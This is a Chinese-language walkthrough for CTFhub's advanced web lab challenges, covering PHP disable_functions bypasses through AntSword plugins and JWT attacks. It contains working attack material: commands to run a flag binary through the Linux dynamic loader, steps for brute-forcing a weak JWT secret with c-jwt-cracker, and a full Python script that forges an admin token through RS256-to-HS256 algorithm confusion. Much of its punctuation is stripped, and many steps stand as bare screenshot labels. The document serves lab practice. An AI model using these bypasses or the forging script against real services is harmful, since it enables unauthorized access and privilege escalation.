CTFhub技能树-web进阶通关攻略 CTFhub技能树web进阶通关攻略包含现运行的ctfhub所有web进阶靶场。目录PHPbypass disable_fcuntionLD_PRELOADShellShockApache Mod CGI攻击PHP-FPMGC UAFJson Serializer UAFBacktrace UAFFFI扩展iconvbypass iconv 1iconv Bypass 2Linux动态加载器JSON Web Token基础知识敏感信息泄露无签名弱密钥修改签名算法PHPbypass disable_fcuntionLD_PRELOAD这题的环境在Linux在Linux系统中使用蚁剑打开可以看到密码是ant用蚁剑填写靶场url进行连接测试添加数据安装插件绕过选中下图所示按钮点击开始成功上传代理脚本新建一个数据url填http://靶场地址/.antproxy.php测试连接成功选中新建数据打开蚁剑内置终端输入/readflag得到flagShellShock密码ant添加时选base64选择工具绕过选择Apache_mod-cgi弹出终端直接得到flagApache Mod CGI看图吧跟上面步骤很类似看到密码为ant但是url输入靶场地址数据为空所以点击givemeflag之后的url才行使用插件弹出终端得到flag攻击PHP-FPM密码是ant进行添加数据选择插件选择项目这里地址多试一试我试的localhost9000成功了打开数据可以看到这个文件新增数据url填写http://靶场地址/.antproxy.php打开终端得到flagGC UAF都是一个操作流程只不过所用插件不同我就不废话了step1step2step3step4step5Json Serializer UAFstep1step2step3step4step5Backtrace UAFstep1step2step3step4step5FFI扩展step1step2step3step4step5iconvstep1step2step3step4step5step6step7http://靶场地址/.antproxy.phpstep8bypass iconv 1step1step2step3step4step5step6http://靶场地址/.antproxy.phpstep7iconv Bypass 2step1step2step3step4step5step6step7Linux动态加载器step1step2step3step4step5step6step7step8发现无权限step9查找系统中的动态加载器在蚁剑的虚拟终端中执行find / -name ld-linux* 2/dev/null通常 64 位系统路径为 /lib64/ld-linux-x86-64.so.232 位为 /lib/ld-linux.so.2。使用动态加载器运行 /readflag假设找到的是 /lib64/ld-linux-x86-64.so.2执行/lib64/ld-linux-x86-64.so.2 /readflag如果系统是 32 位则用/lib/ld-linux.so.2 /readflag找到flagJSON Web Token基础知识敏感信息泄露打开靶场是这个画面这题是让找cookie然后base64解码输入网址抓包看到cookie把cookie发送到decoder进行解码解码完成把这两段拼接得到flag无签名在bp下载插件输入用户名密码之后抓包放包得到cookie发送到repeater进行修改放包放包之后得到flag弱密钥准备工作kali安装Docker更新软件包列表sudo apt update安装Dockersudo apt install docker.io启动Docker服务sudo systemctl start docker(可选) 设置Docker开机自启sudo systemctl enable docker核心步骤使用Docker进行密钥爆破获取工具源码git clone https://github.com/brendan-rius/c-jwt-cracker cd c-jwt-cracker如果不能连接GitHub可以手动下载ZIP压缩包并解压。构建Docker镜像 在包含Dockerfile的目录下运行以下命令这个过程会根据配置文件生成一个名为jwtcrack的镜像。sudo docker build . -t jwtcrack构建成功的标志Successfully built 镜像ID Successfully tagged jwtcrack:latest启动容器并破解 现在可以使用刚刚构建的镜像来破解你的JWT了。sudo docker run -it --rm jwtcrack 你的JWT备选方案手动编译不使用Docker如果Docker构建始终不成功也可以考虑在Kali中直接编译运行安装编译依赖sudo apt update sudo apt install libssl-dev编译并运行cd c-jwt-cracker make ./jwtcrack 你的JWT如果make命令失败通常是因为缺少gcc等编译工具请执行sudo apt install gcc make进行安装。注意若是jwtrack 没有成功生成。虽然编译时没有报错但链接加密库的步骤缺失缺少 -lssl -lcrypto导致可执行文件可能不完整或没有生成。请按以下步骤重新编译在 ~/c-jwt-cracker 目录下执行gcc -O3 -Wall -o jwtcrack main.c base64.c -lssl -lcrypto先用bp抓包得到token创一个token.txt文件发送到kali在kali中运行破解./jwtcrack $(cat /home/kali-1/桌面/token.txt)解出密钥wxkzhttps://www.jwt.io/ 用网站修改数据得到修改后的jwt把得到的jwt与原有token进行替换然后bp放包得到flag修改签名算法打开靶场看到publickey.pem,点开另存到本地不要复制要不然会出现错误把文件放在与脚本同一个目录内脚本分享# codingGBK # 指定文件编码为GBK确保中文字符正常显示 import hmac # 导入HMAC模块用于生成基于哈希的消息认证码 import hashlib # 导入哈希库提供SHA256等哈希算法 import base64 # 导入Base64编码模块用于二进制数据与文本的转换 # 读取公钥文件 file open(publickey.pem) # 打开公钥文件该文件从目标网站下载与脚本在同一目录 key file.read() # 读取公钥的全部内容作为后续HMAC签名的密钥 file.close() # 关闭文件建议添加这行以确保资源释放 # 构造JWT的头部(Header)和载荷(Payload) header {typ: JWT, alg: HS256} # JWT头部声明令牌类型为JWT使用HS256算法对称加密 payload {username: admin, role: admin} # JWT载荷包含用户名和角色信息都设置为admin以获得管理员权限 # 编码头部 # 对头部进行Base64Url编码JWT标准要求 encodeHBytes base64.urlsafe_b64encode(header.encode(utf-8)) # 步骤分解 # 1. header.encode(utf-8) - 将JSON字符串转换为UTF-8编码的字节序列 # 2. base64.urlsafe_b64encode() - 进行URL安全的Base64编码将/转换为-_ # 3. 得到的是字节类型的Base64编码结果 encodeHeader str(encodeHBytes, utf-8).rstrip() # 步骤分解 # 1. str(encodeHBytes, utf-8) - 将字节类型的Base64结果转换为UTF-8字符串 # 2. .rstrip() - 移除Base64编码末尾的填充字符JWT标准要求无填充 # 编码载荷 # 对载荷进行同样的Base64Url编码处理 encodePBytes base64.urlsafe_b64encode(payload.encode(utf-8)) # 1. payload.encode(utf-8) - 将载荷JSON字符串转为UTF-8字节序列 # 2. base64.urlsafe_b64encode() - URL安全的Base64编码 encodePayload str(encodePBytes, utf-8).rstrip() # 1. 转换为字符串 2. 移除填充字符 # 构造待签名数据 # 拼接编码后的头部和载荷形成JWT的前两部分这是将要被签名的数据 token (encodeHeader . encodePayload) # 格式base64url(header) . base64url(payload) # 例如eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0 # 生成HMAC签名 # 这是攻击的核心部分使用公钥作为HMAC的对称密钥来生成签名 sig base64.urlsafe_b64encode( hmac.new( bytes(key, UTF-8), # 密钥使用公钥内容作为HMAC的对称密钥 token.encode(utf-8), # 消息待签名的数据header.payload hashlib.sha256 # 算法使用SHA256哈希函数 ).digest() # 获取二进制的HMAC摘要结果32字节 ).decode(UTF-8).rstrip() # 对签名进行Base64Url编码并移除填充 # 详细步骤解析 # 1. hmac.new() 创建HMAC对象 # - bytes(key, UTF-8): 将公钥字符串转换为字节序列作为HMAC密钥 # - token.encode(utf-8): 将待签名数据转换为字节序列 # - hashlib.sha256: 指定使用SHA256算法 # # 2. .digest(): 生成二进制的HMAC签名结果32字节的字节序列 # 例如b\x1a\x2b\x3c\x4d...共32个字节 # # 3. base64.urlsafe_b64encode(): 对二进制签名进行URL安全的Base64编码 # 将二进制数据转换为可打印的ASCII字符同时将/转换为-_ # # 4. .decode(UTF-8): 将Base64编码的字节序列转换为字符串 # # 5. .rstrip(): 移除Base64编码的填充字符符合JWT标准 # 输出完整JWT # 拼接完整的JWT令牌头部.载荷.签名 print(token . sig) # 最终格式base64url(header) . base64url(payload) . base64url(signature) # 示例输出eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.xxxxxxxxxxxxxxxx # 攻击原理总结 # 这个伪造的JWT能够通过服务器验证的原因是 # 1. 服务器代码存在算法混淆安全风险信任JWT头部声明的算法 # 2. 我们将算法从RS256非对称改为HS256对称 # 3. 服务器验证时会用公钥作为HMAC密钥重新计算签名 # 4. 由于我们也是用公钥作为HMAC密钥签名的所以验证通过 # 5. 载荷中的role字段让服务器认为这是管理员从而获取FLAG进入靶场之后随便填入用户名密码进行bp抓包拦截可以看到这个token发送到repeater中运行python脚本执行后生成token复制与repeater中的token进行替换点击发送在页面渲染里可以看到flag